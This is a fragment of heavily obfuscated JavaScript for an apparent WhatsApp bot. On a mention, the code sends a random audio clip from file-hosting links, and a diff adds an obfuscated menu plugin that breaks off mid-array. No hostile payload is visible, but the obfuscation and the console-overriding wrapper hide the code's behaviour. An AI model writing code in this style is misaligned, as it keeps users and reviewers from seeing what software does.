_0x5b7420===_0x523e67;},_0x3788d8['pQlEk']=_0x2c7c52(0x3ba,0x3b1,0x3fb,0x3a2)+'les.catbox'+_0x2c7c52(0x3fb,0x3c9,0x407,0x3e7)+_0x2c7c52(0x3d6,0x398,0x3a8,0x3dd),_0x3788d8[_0x4c0e96(0x357,0x31b,0x327,0x2e8)]=_0x2c7c52(0x3ba,0x3ac,0x3b6,0x3d5)+'les.catbox'+_0x4c0e96(0x2f9,0x341,0x308,0x337)+'4.mp4',_0x3788d8[_0x2c7c52(0x3d5,0x407,0x396,0x3ef)]=_0x2c7c52(0x3ba,0x3e4,0x3ee,0x3c6)+_0x2c7c52(0x3d0,0x3c5,0x3e3,0x3e3)+'.moe/4g3dw'+_0x4c0e96(0x301,0x35e,0x325,0x338),_0x3788d8[_0x2c7c52(0x3a0,0x3ab,0x3b6,0x3e2)]='https://fi'+_0x2c7c52(0x3d0,0x3e9,0x3b1,0x3ae)+'.moe/8cuz5'+_0x2c7c52(0x39b,0x3ba,0x37e,0x3cd);function _0x4c0e96(_0x212226,_0x4f7347,_0x584c9,_0x43562e){return _0x2bafcb(_0x4f7347,_0x4f7347-0x6d,_0x584c9- -0x7c,_0x43562e-0x7a);}_0x3788d8[_0x2c7c52(0x3cf,0x3f9,0x39d,0x3c5)]=_0x2c7c52(0x3b9,0x3f4,0x3d9,0x3c4)+_0x4c0e96(0x2f1,0x324,0x323,0x2fe),_0x3788d8[_0x4c0e96(0x32b,0x341,0x311,0x2fb)]=function(_0x4d8827,_0x453b2c){return _0x4d8827!==_0x453b2c;},_0x3788d8[_0x2c7c52(0x3b1,0x3eb,0x37c,0x389)]=_0x2c7c52(0x3ba,0x3b8,0x3f7,0x380)+_0x4c0e96(0x302,0x34c,0x32e,0x32c)+_0x2c7c52(0x383,0x360,0x35c,0x392)+_0x4c0e96(0x31b,0x33f,0x31f,0x2dc),_0x3788d8[_0x2c7c52(0x38c,0x37c,0x383,0x38f)]=_0x4c0e96(0x2fb,0x338,0x2fa,0x314)+'r',_0x3788d8[_0x2c7c52(0x3e6,0x3bf,0x428,0x3ac)]=_0x4c0e96(0x2dc,0x2f2,0x2de,0x2a4),_0x3788d8[_0x2c7c52(0x398,0x367,0x36c,0x3c2)]=_0x4c0e96(0x36e,0x343,0x338,0x302),_0x3788d8['WYyMq']=_0x2c7c52(0x391,0x3bc,0x3a0,0x35b)+_0x2c7c52(0x3bc,0x3ef,0x38e,0x3da)+_0x2c7c52(0x38d,0x3c4,0x397,0x36a)+_0x4c0e96(0x2bb,0x328,0x2ec,0x2e8)+'๐ŸŽ€๐Ÿ”',_0x3788d8['TQAsS']=_0x4c0e96(0x32d,0x30a,0x319,0x2da)+_0x4c0e96(0x2ea,0x335,0x2fc,0x2bc)+_0x4c0e96(0x34f,0x300,0x330,0x2f7)+_0x4c0e96(0x330,0x337,0x35d,0x389),_0x3788d8[_0x2c7c52(0x390,0x3c7,0x38b,0x3c2)]=function(_0x3ec184,_0x885128){return _0x3ec184+_0x885128;};const _0x21882e=_0x3788d8;try{if(_0x21882e[_0x4c0e96(0x30d,0x30b,0x2f1,0x2d4)](config[_0x2c7c52(0x3d3,0x3fb,0x3c1,0x406)+_0x4c0e96(0x2de,0x2e9,0x2da,0x2ef)],_0x4c0e96(0x352,0x2f8,0x316,0x2f1))||!_0xa142d0)return;if(!_0x4971dc[_0x4c0e96(0x345,0x341,0x343,0x347)+'id']||_0x21882e['HNWhD'](_0x4971dc[_0x2c7c52(0x3e5,0x3b4,0x3d5,0x3eb)+'id'][_0x4c0e96(0x2e4,0x335,0x30e,0x2dd)],0xbcb*0x1+-0x135*0x16+0xec3))return;const _0x4656a1=[_0x21882e['pQlEk'],_0x21882e[_0x4c0e96(0x356,0x300,0x327,0x31c)],_0x21882e[_0x4c0e96(0x350,0x316,0x333,0x34a)],_0x4c0e96(0x312,0x2f8,0x318,0x2e9)+_0x2c7c52(0x3d0,0x3ef,0x3cd,0x398)+_0x4c0e96(0x30e,0x329,0x32b,0x34f)+_0x2c7c52(0x3cb,0x3b6,0x3e6,0x3b9),_0x21882e[_0x2c7c52(0x3a0,0x3aa,0x369,0x3d7)],'https://fi'+'les.catbox'+_0x2c7c52(0x3f1,0x3b7,0x3b4,0x3f4)+'q.mp4',_0x4c0e96(0x32c,0x33f,0x318,0x312)+_0x2c7c52(0x3d0,0x3a6,0x3be,0x3d0)+_0x2c7c52(0x3f4,0x3c6,0x3fb,0x401)+_0x2c7c52(0x3ab,0x3c5,0x3c2,0x3dd)],_0x41c79d=_0x4656a1[Math['floor'](Math[_0x2c7c52(0x3e0,0x3f0,0x403,0x3b9)]()*_0x4656a1[_0x2c7c52(0x3b0,0x393,0x3ba,0x3ac)])],_0x3633ac=_0x2490c0[_0x2c7c52(0x3f6,0x3e9,0x40d,0x3cc)]['id']['split'](':')[0x437+-0x24df*0x1+0x20a8]+_0x21882e['ODqpO'];if(_0x4971dc['mentionedJ'+'id'][_0x2c7c52(0x3eb,0x412,0x3f1,0x404)](_0x3633ac)){if(_0x21882e[_0x4c0e96(0x34f,0x30b,0x311,0x2e9)](_0x4c0e96(0x30e,0x331,0x312,0x327),'icOGW')){const _0xda58ef=await axios[_0x2c7c52(0x37d,0x398,0x369,0x389)](config[_0x2c7c52(0x3d7,0x3ab,0x3e3,0x3e6)]||_0x21882e[_0x4c0e96(0x32f,0x30a,0x30f,0x30d)],{'responseType':_0x21882e[_0x4c0e96(0x305,0x2fc,0x2ea,0x30d)]}),_0xd76c59=Buffer['from'](_0xda58ef[_0x4c0e96(0x301,0x31e,0x31d,0x31d)],_0x21882e[_0x4c0e96(0x33b,0x35c,0x344,0x346)]),_0x19708b={};_0x19708b[_0x4c0e96(0x2f1,0x36b,0x32a,0x336)]=_0x41c79d;const _0xb2822a={};_0xb2822a[_0x4c0e96(0x326,0x30d,0x320,0x319)]=_0x19708b,_0xb2822a[_0x2c7c52(0x385,0x38a,0x3bf,0x39f)]=_0x21882e['uDOKa'],_0xb2822a[_0x4c0e96(0x2a9,0x2e7,0x2df,0x2fa)]=!![],_0xb2822a[_0x4c0e96(0x313,0x2ef,0x2f2,0x2f7)]=[-0x1549+-0x44b+0x19f7,0x1*-0x1731+0xbdd+-0x1*-0xba4,-0x1*0xbaa+0xdca+-0x1ee,-0xbfb*-0x3+0x1*0x1ee2+-0x42d3*0x1,-0x11ed*-0x1+-0x2403+0x1248,0x2*-0xf83+-0x11f1+0x3147,0x1c7+0x1*-0x1897+0x1733],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o']={},_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x2c7c52(0x3a8,0x385,0x369,0x3d7)+_0x4c0e96(0x2a3,0x2d2,0x2dd,0x2f2)]=0x5,_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x2c7c52(0x3f9,0x42d,0x411,0x421)+'d']=!![],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)]={},_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)]['title']=_0x21882e[_0x2c7c52(0x3ca,0x399,0x394,0x3b9)],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x2c7c52(0x3e2,0x400,0x3dd,0x3da)]=_0x2c7c52(0x3fa,0x3b9,0x403,0x412)+_0x4c0e96(0x362,0x382,0x342,0x370)+_0x4c0e96(0x316,0x2d8,0x2e6,0x2d6)+_0x2c7c52(0x38b,0x376,0x3c2,0x3ab),_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x4c0e96(0x301,0x369,0x332,0x331)]=0x1,_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x2c7c52(0x387,0x35b,0x380,0x363)+_0x4c0e96(0x387,0x34a,0x34a,0x358)+'l']=!![],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x4c0e96(0x318,0x371,0x33a,0x2f8)]=_0xd76c59,_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x2c7c52(0x3c4,0x3ed,0x382,0x403)]=_0x21882e[_0x2c7c52(0x3b1,0x3f3,0x3d3,0x36e)],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)][_0x4c0e96(0x2f7,0x32e,0x30b,0x330)]=_0x21882e[_0x2c7c52(0x3e8,0x3f5,0x41a,0x3e7)],_0xb2822a[_0x4c0e96(0x32e,0x2db,0x307,0x2ea)+'o'][_0x4c0e96(0x35f,0x37b,0x350,0x360)+_0x2c7c52(0x3d9,0x3d9,0x3b7,0x3d5)]['showAdAttr'+'ibution']=!![],await _0x2490c0[_0x4c0e96(0x2d5,0x2e6,0x2f8,0x32d)+'e'](_0x4971dc['chat'],_0xb2822a,{'quoted':_0x4971dc});}else{const _0x5354a3=_0x1f7c27[_0x4c0e96(0x33c,0x324,0x2fb,0x2bb)+'r']['prototype'][_0x2c7c52(0x3c3,0x393,0x38e,0x3e5)](_0x23bca2),_0x2fed75=_0x453fd0[_0x5e984e],_0x1f2c9e=_0x3165a3[_0x2fed75]||_0x5354a3;_0x5354a3[_0x2c7c52(0x38a,0x359,0x396,0x380)]=_0x4bb056[_0x2c7c52(0x3c3,0x3c5,0x3af,0x3d6)](_0x54bcb0),_0x5354a3[_0x2c7c52(0x3ed,0x41c,0x41a,0x400)]=_0x1f2c9e[_0x2c7c52(0x3ed,0x3cc,0x416,0x424)][_0x4c0e96(0x310,0x2fe,0x321,0x316)](_0x1f2c9e),_0x34e3db[_0x2fed75]=_0x5354a3;}}}catch(_0x21b110){console['error'](_0x21b110);const _0x26103a=_0x21882e[_0x2c7c52(0x390,0x391,0x3d0,0x374)](_0x2490c0[_0x4c0e96(0x358,0x381,0x354,0x329)]['id'][_0x4c0e96(0x33c,0x30b,0x31b,0x354)](':')[-0x864+-0x39*-0x27+-0xf*0x5],_0x21882e['ODqpO']),_0x151054={};_0x151054['text']=_0x2c7c52(0x3b2,0x386,0x3c2,0x3aa)+_0x4c0e96(0x2dc,0x2ac,0x2e0,0x2db)+'n\x20Handler:'+'*\x0a'+_0x21b110[_0x2c7c52(0x3dd,0x3e7,0x3bd,0x417)],await _0x2490c0['sendMessag'+'e'](_0x26103a,_0x151054);}}); diff --git a/plugins/menu.js b/plugins/menu.js new file mode 100644 index 0000000000000000000000000000000000000000..f585349395dff113b014747a404e699a8cb2e414 --- /dev/null +++ b/plugins/menu.js @@ -0,0 +1 @@ +function _0x5df4(){const _0x4ef819=['แด€ษดษดแด‡สŸsแด›แด€สŸแด‹','โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€','REACTION-C','search','โ”€โ”€โœ‘*\x0aโ€Ž*โ”‹*\x20','*\x0a*๐Ÿช„\x20`RAND','*\x20*โฌก\x20แด€ษดแด›ษช-','\x20*โฌก\x20แด sแด›ษชแด„แด‹','โ”€โ”€โ”€โœ‘*\x0aโ€Ž*โ”‹*','แดแด แด‡แด›แด‡sแด›*\x0aโ€Ž','\x0aโ€Ž*โ”‹*\x20*โฌก\x20วซ','*\x20*๐Ÿบ.๐Ÿถ.๐Ÿถ\x20ส™','*\x20*โฌก\x20ส™สŸแดœ๊œฑสœ','โ”‹*\x20*โฌก\x20sแด›แด€แด›','forwardedN','\x20สœแด€แด„แด‹*\x0aโ€Ž*โ”‹','แดษดแด‹*\x0aโ€Ž*โ”‹*\x20','โ”‹*\x20*โฌก\x20ส€แด‡แด แด','SsIbY','url','โ€Ž*โ”‹*\x20*โฌก\x20ษขแด','2456152rpGRFo','pattern','\x20*โฌก\x20ษขษชษดษชsษช','แด…แด‡*\x0a*โ”ƒ\x20๐ŸŽ*\x20','โ€Ž*โ”‹*\x20*โฌก\x20sแด‡','sแด‡แด›แด˜แด˜แด€สŸสŸ*\x0a','โ”‹*\x20*โฌก\x20ss*\x0a','โฌก\x20แด˜ส€แดา“ษชสŸแด‡*','โฌก\x20แด‹ษชแด„แด‹*\x0aโ€Ž*','แด˜แด‡*\x0aโ€Ž*โ”‹*\x20*','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด›','โ”‹*\x20*โฌก\x20sสsแด›','โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€','โ”‹*\x20*โฌก\x20แดกแด‡แด€แด›','ctor(\x22retu','*โ”‹*\x20*โฌก\x20ส€แดแด','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แดก','suAEG','alias','cAQiX','\x20*โฌก\x20แด‹ษชษดษข*\x0a','react','แดษดา“แดœsแด‡แด…*\x0aโ€Ž','sสœแด€แด…ษช*\x0aโ€Ž*โ”‹','26148036gWxysB','\x20*โฌก\x20ส™แด€ษชsแด„แด','10210afIBZD','.moe/6kvcf','โฌก\x20สแด›๊œฑ*\x0aโ€Ž*โ”‹','โฌก\x20สŸสŸแด€แดแด€3*\x0a','โฌก\x20sแด‡แด›แดสษดแด€แด','แด‡ส€*\x0aโ€Ž*โ”‹*\x20*','rUxyS','caption','\x0aโ€Ž*โ”‹*\x20*โฌก\x20สŸ','โฌก\x20แด…แด€ส€แด€แดแด€*\x0a','9157370zfTFJf','prototype','โ€Ž*โ”‹*\x20*โฌก\x20๊œฑสŸ','dMsvD','\x20*โฌก\x20แด…แด‡๊œฐษชษดแด‡','\x0aโ€Ž*โ”‹*\x20*โฌก\x20สœ','-ส™แด€แด…*\x0aโ€Ž*โ”‹*','\x20*โฌก\x20แด€แดœแด›แด-ส€','แด„ส€แด‡แด€แด›แดส€\x20:*','Jid','โ”€โ”€โ”€โ”€โ”€โ”€โœ‘*\x0aโ€Ž','*โ”‹*\x20*โฌก\x20แด˜สŸแด€','แด…ษชแด€า“ษชส€แด‡*\x0aโ€Ž','\x20*โฌก\x20แด€แด›แด›แด˜*\x0a','*แด แด‡ส€sษชแดษด\x20:','แด›แด˜แด˜*\x0aโ€Ž*โ”‹*\x20','table','11bbAWiq','ewsletter','แด„แดœแด…แด…สŸแด‡*\x0aโ€Ž*','ษชแด‹แด›แดแด‹sแด›แด€สŸแด‹','bind','แด‡ssแด€ษขแด‡*\x0aโ€Ž*','*\x20*โฌก\x20แด€ษดแด€สŸส','โฌก\x20แด…ษชsแด€แด˜แด˜แด‡แด€','zqEPR','vaZxd','แด€ษชส€*\x0aโ€Ž*โ”‹*\x20','แด˜สŸแด€ส๐Ÿธ*\x0aโ€Ž*โ”‹','แด›ส™ษชแด*\x0aโ€Ž*โ”‹*','แด‡ส€*\x20:\x20*','*โ”‹*\x20*โฌก\x20แด„แด€สŸ','โ”‹*\x20*โฌก\x20แด€สŸแดกแด€','*โฌก\x20แด‡แดแดแดŠษช*\x0a','YMHog','ษชแดษข*\x0aโ€Ž*โ”‹*\x20','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€','ALIVE_IMG','CMD`\x20๐Ÿ‘‘*\x0aโ€Ž*','ctions','audio','sสœแดœแด›แด…แดแดกษด*\x0a','แด‡แด*\x0aโ€Ž*โ”‹*\x20*','โฌก\x20แด€แดœแด›แด-ส€แด‡แด„','joPwR','*\x20*โฌก\x20แด€แด˜แด‹*\x0a','โ”‹*\x20*โฌก\x20แด‹ษชแด„แด‹','โ”‹*\x20*โฌก\x20สŸษชแด„แด‹','menu\x20the\x20b','*\x20*โฌก\x20๊œฐแด€แด„แด›*','FGSYS','โ€Ž*โ”‹*\x20*โฌก\x20แด›ษช','\x20*โฌก\x20แดŠแดษชษด*\x0a','*\x20*โฌก\x20ษขแด˜แด€๊œฑ๊œฑ','โ”‹*\x20*โฌก\x20แด˜ษชษดษข','แดœแด›*\x0aโ€Ž*โ”‹*\x20*','BOT_NAME','ษดษข*\x0aโ€Ž*โ”‹*\x20*','โฌก\x20แด€แดœส€แด€*\x0aโ€Ž*','แดษขสŸแด‡*\x0aโ€Ž*โ•ฐโ”€','\x20*โฌก\x20แด€ษดแด›ษช-สŸ','โฌก\x20sแด‡ษดแด…แด…แด*\x0a','แด…แด‡sแด„*\x0aโ€Ž*โ”‹*','โ€Ž*โ”‹*\x20*โฌก\x20แด แด ','ส™สแด‡*\x0aโ€Ž*โ”‹*\x20','ewsletterM','*\x20*โฌก\x20แดแด˜แด‡ษดแด€','แด€แด„ส\x20ษดแดษดแด‡*\x0a','แดขแดษดแด‡*\x0aโ€Ž*โ”‹*','โฌก\x20แดแดแด ษชแด‡ษชษดา“','โฌก\x20แดแดแด…แด‡*\x0aโ€Ž*','ส*\x0a*โ”‹*\x20*โฌก\x20','\x20๊œฑส€แด‡แด˜แด*\x0aโ€Ž*','แด…*\x0aโ€Ž*โ”‹*\x20*โฌก','\x20แดแดแด ษชแด‡*\x0aโ€Ž*','*โฌก\x20ส™ส€แดแด€แด…แด„แด€','constructo','ษชแด*\x0aโ€Ž*โ”‹*\x20*','372SjMsxV','*โฌก\x20sแดœแด˜แด˜แดส€แด›','แด แด‡*\x0aโ€Ž*โ”‹*\x20*','sษชสŸแด€*\x0aโ€Ž*โ”‹*','สœแด‡ส€*\x0aโ€Ž*โ”‹*\x20','แด‹แด›แดแด‹*\x0aโ€Ž*โ”‹*','*\x0aโ€Ž*โ”‹*\x20*โฌก\x20','ษขแด*\x0aโ€Ž*โ”‹*\x20*','แดœs-ส€แด‡แด€แด„แด›*\x0a','\x0aโ€Ž*โ•ญโ”€โ”€โ”€โ”€โ”€โ”€','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด€','ษชษดแด‹-แด‹ษชแด„แด‹*\x0a','โ€Ž*โ”‹*\x20*โฌก\x20สœแด','forwarding','rudte','\x20*โฌก\x20ส€แดสŸสŸ๐ŸŽฒ*','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โœ‘','{}.constru','สœแดแด›*\x0aโ€Ž*โ”‹*\x20','โ€Ž*โ”‹*\x20*โฌก\x20แด˜สœ','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โŠท*\x0a','*โ”‹*\x20*โฌก\x20แดœส€สŸ','แด€แด›แด‡แด„แดแด…*\x0aโ€Ž*','ส™ษชแด›แด‡*\x0aโ€Ž*โ”‹*','โ€Ž*โ”‹*\x20*โฌก\x20แดแด‡','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แดœ','\x20ส€แด‡๊œฑแด›แด€ส€แด›*\x0a','สœษชษขสœ๊œฐษชแด แด‡*\x0a','iiSjD','โ€Ž*โ”‹*\x20*โฌก\x20แด›แด›','แด€ษขแด‡*\x0aโ€Ž*โ”‹*\x20','\x20*โฌก\x20วซแดœแดแด›แด‡*','แด…แด€ษดแด„แด‡*\x0aโ€Ž*โ”‹','\x20๊œฑแด›แด€แด›แดœ๊œฑ*\x0aโ€Ž','2*\x0aโ€Ž*โ”‹*\x20*โฌก','โฌก\x20แด ษชแด…แด‡แด*\x0aโ€Ž','แด€ษดแด„แด‡*\x0aโ€Ž*โ”‹*','แด€แดแด‡*\x0aโ€Ž*โ”‹*\x20','แด‹*\x0aโ€Ž*โ”‹*\x20*โฌก','*โฌก\x20๊œฑแดแดœษข*\x0aโ€Ž','ษขแด€แดแด‡*\x0aโ€Ž*โ”‹*','แดแดœแด›แด‡*\x0aโ€Ž*โ”‹*','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โœ‘*','length','๐Ÿถแด…*\x0aโ€Ž*โ”‹*\x20*','\x20๐Ÿชพ*\x20*xแด…\x20แดœs','ษชsแด€แด˜แด˜แด‡แด€ส€\x20แด','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด','*โ”‹*\x20*โฌก\x20sแด…ษช','6rBriMH','*โ”‹*\x20*โฌก\x20สŸแด‡แด€','*โ”‹*\x20*โฌก\x20ษขษชษด','*๐Ÿฎ\x20`DOWNLO','*โฌก\x20แด›ษขs*\x0aโ€Ž*','ษดสŸแดแด„แด‹ษขแด„*\x0aโ€Ž','โ€Ž*โ”‹*\x20*โฌก\x20sแด','โ€Ž*โ”‹*\x20*โฌก\x20สœษช','โ€Ž*โ”‹*\x20*โฌก\x20ษขแด‡','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด„','แด‡*\x0aโ€Ž*โ”‹*\x20*โฌก','แด‡แด2*\x0aโ€Ž*โ”‹*\x20','iJehW','*โฌก\x20sแด›ษชแด„แด‹แด‡ส€','๊ชฎ๊ชŠ\x20า“๊ชฎส€\x20แด€สŸสŸ','1203633183','../lib/fun','*\x0a>\x20*า“๊ชฎส€\x20ส','Wxqfh','\x20*แด€สŸษช\x20ษชษดxษช','ษขสŸแดแดแด˜*\x0aโ€Ž*โ”‹','\x20`PRIVACY-','แด€ส€แด›*\x0aโ€Ž*โ”‹*\x20','-CMD`\x20๐ŸŽก*\u00a0\x20','โฌก\x20แด›แดษชแดแด€ษขแด‡*','CsZUa','\x20*โฌก\x20แด€สŸสŸส€แด‡วซ','*โ•ญโ”ˆโ”€โ”€ใ€Œ','\x0aโ€Ž*โ”‹*\x20*โฌก\x20ส™','แด›แด‡*\x0aโ€Ž*โ”‹*\x20*','แด›แด˜ส€ษชแด แด€แด„ส*\x0a','sษชแดษด*\x0aโ€Ž*โ”‹*','OJYxY','\x0aโ€Ž*โ”‹*\x20*โฌก\x20s','error','โ€Ž*โ”‹*\x20*โฌก\x20แด€ษด','\x20*โฌก\x20ส€แด‡แดแดแด แด‡','*โฌก\x20๐Ÿ™‚*\x0aโ€Ž*โ”‹*','สŸษชแด แด‡*\x0aโ€Ž*โ”‹*','แด˜ษชษดแด…สŸ*\x0aโ€Ž*โ”‹','สŸแด‡แด›แด‡*\x0aโ€Ž*โ”‹*','warn','แด€แด˜แด˜แด‡แด€ส€\x20แดษด*','\x20แดŠแดแด‹แด‡*\x0aโ€Ž*โ”‹','โ”‹*\x20*โฌก\x20แด›แด€ษขแด€','โ€Ž*โ”‹*\x20*โฌก\x20ษดแด','TEXQU','\x20\x0aโ€Ž*โ•ญโ”€โ”€โ”€โ”€โ”€','แดœแด˜สŸษชษดแด‡*\x0aโ€Ž*','แดษดแด›แด€แด„แด›s*\x0aโ€Ž','แด‡แด›แด€โ˜ฏ๏ธŽ*\x0aโ€Ž*โ•ฐโ”ˆ','*\x20*โฌก\x20ษขแด…ส€ษชแด ','แด แด ๐Ÿธ*\x0aโ€Ž*โ”‹*\x20','ส™ษชสŸษชแด›สแด€ษช*\x0a','โ”‹*\x20*โฌก\x20แดกษชษดแด‹','MIOCp','โ”‹*\x20*โฌก\x20แด„สœแด€ษด','HQjJv','โ”‹*\x20*โฌก\x20แดœแด˜แด…แด€','*\x0aโ€Ž*โ•ญโ”€โ”€โ”€โ”€โ”€','โฌก\x20ษชแดษข*\x0a*โ”‹*','\x0aโ€Ž*โ”‹*\x20*โฌก\x20ษข','*โ”‹*\x20*โฌก\x20ส€แดแด€','แดแด›แด*\x0aโ€Ž*โ”‹*\x20','desc','แด…แด‡แด›แด€ษข*\x0aโ€Ž*โ”‹','สŸษช*\x0aโ€Ž*โ”‹*\x20*','*\x0a*โ”ƒ\x20๐Ÿช„*\x20*แด˜','แด€ส€แด„สœ*\x0aโ€Ž*โ”‹*','โ”€โ”€โ”€โ”€โœ‘*\x0a*๐ŸŽก\x20','ptt','\x20sสœส*\x0aโ€Ž*โ”‹*','ษชแดษด*\x0aโ€Ž*โ”‹*\x20','*\x0aโ€Ž*โ•ฐโ”€โ”€โ”€โ”€โ”€','*\x20*โฌก\x20แด˜ษชษด*\x0a','*โฌก\x20แด€สŸสŸแด แด€ส€*','แดกสœแด€แด›sแด€แด˜แด˜แด„สœ','า“า“*\x0aโ€Ž*โ”‹*\x20*','9qlFYeN','โ€Ž*โ”‹*\x20*โฌก\x20สŸแด','MODE','โฌก\x20แด‹ษชสŸสŸ*\x0aโ€Ž*','\x20*โฌก\x20ส€แด‡แด€แด…-แด','*โ”‹*\x20*โฌก\x20แดแดกษด','newsletter','โฌก\x20แด˜ษชษดษข*\x0aโ€Ž*','ส€แด…*\x0aโ€Ž*โ”‹*\x20*','*โฌก\x20sแด‡แด›แดกแด‡สŸแด„','สœแดษชs*\x0aโ€Ž*โ”‹*','สœส*\x0aโ€Ž*โ”‹*\x20*','1709bVAeXN','โ”‹*\x20*โฌก\x20แด€ษดแด›ษช','โ€Ž*โ”‹*\x20*โฌก\x20๐Ÿพส™','โ”‹*\x20*โฌก\x20แด˜ษชแด„แด‹','\x20*โฌก\x20ษขแด‡แด›แด˜ษชแด„','category','quoted','*\x20*โฌก\x20แด…แดษข*\x0a','แด…แด€ษชสŸส๊œฐแด€แด„แด›*','trace','สŸสŸ*\x0aโ€Ž*โ”‹*\x20*','\x20า“สŸแดœxแด€ษช*\x0aโ€Ž','สœแด€ษดแด…สœแดสŸแด…*\x0a','*\x20*โฌก\x20ษขส€แดแดœแด˜','แด€สŸสŸ*\x0aโ€Ž*โ”‹*\x20','๐Ÿป๐Ÿผ\x20ษขส™/๐Ÿผ๐Ÿถ.๐Ÿฝ','แดกsแด›แด€สŸแด‹*\x0aโ€Ž*','aetEr','โฌก\x20แดแด€ส€ส€ษชแด€ษขแด‡','\x20*โฌก\x20แดแดแดษด*\x0a','info','แดœแด›แด‡*\x0aโ€Ž*โ”‹*\x20','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โœ‘*\x0a','console','7881741kFaHiA','\x20*โฌก\x20ส€แด‡แด€แด…แดแด','RONWb','NLXQU','โ”€โ”€โ”€โ”€โ”€โ”€โœ‘*\x0a๐Ÿชพ','*โ”‹*\x20*โฌก\x20แด…ษชs','*โฌก\x20sแด˜แดแด›ษช๊œฐส','474wOwXyO','Score','*โ”‹*\x20*โฌก\x20แดœแด˜แด…','jUfBc','*\x20\x0a*โ”ƒ\x20๐ŸซŸ*\x20*','*โฌก\x20แดœแด˜แด…แด€แด›แด‡ษข','*โ”‹*\x20*โฌก\x20แดœษดแด','xAgoK','sendMessag','1984743RnvFzy','\x20แด›แดกษชแด›แด›แด‡ส€*\x0a','sแด˜ส€ษชแด แด€แด„ส\x20แด„','แด‡แด˜สŸส*\x0aโ€Ž*โ”‹*','โ€Ž*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€','\x20*โฌก\x20แด€ษดษชแดแด‡*','nction()\x20','\x20*โฌก\x20แด…แด‡สŸ*\x0aโ€Ž','exception','า“แด*\x0aโ€Ž*โ”‹*\x20*','แด›*\x0aโ€Ž*โ”‹*\x20*โฌก','แด›*\x0aโ€Ž*โ•ฐโ”€โ”€โ”€โ”€','ส€แด‡*\x0aโ€Ž*โ”‹*\x20*','แด‡sแด›แด€๊œฐ๊œฐ*\x0aโ€Ž*','โ”€โ”€โ”€โœ‘*\x0a*๐Ÿชผ\x20`','แด˜ส€ษชแด แด€แด„ส*\x0aโ€Ž','*โ”‹*\x20*โฌก\x20สœแด€แด˜','แด„สœแด€ส€แด€แด„แด›แด‡ส€*','แด‡แด›แด›ษชษดษขs*\x0aโ€Ž','แด‹แด‡*\x0aโ€Ž*โ”‹*\x20*','XbcMe','๐Ÿฟ*\x0a*โ”ƒ\x20๐Ÿ‘‘*\x20*','\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด˜','image','ษชษดส*\x0aโ€Ž*โ•ฐโ”€โ”€','*โฌก\x20แด€ษช*\x0aโ€Ž*โ”‹','*โฌก\x20แด…แด€แด›แด‡*\x0aโ€Ž','*โ”‹*\x20*โฌก\x20แด„แดแด','contextInf','les.catbox','toString','โฌก\x20ส€แด€ษดแด‹*\x0aโ€Ž*','*โ”‹*\x20*โฌก\x20sแด›แด€','แด*\x0aโ€Ž*โ”‹*\x20*โฌก','โ”€โœ‘*\x0a*๐Ÿช€\x20`GR','aXHis','โฌก\x20สŸแดษขแดแดแด‡ษดแดœ','*โ”‹*\x20*โฌก\x20ส™แดœสŸ','แด…แด‡แดแดแด›แด‡*\x0aโ€Ž*','แด€แด„สœแด€*\x0aโ€Ž*โ”‹*','*โฌก\x20แดœษดส™สŸแดแด„แด‹','*โ”‹*\x20*โฌก\x20แด 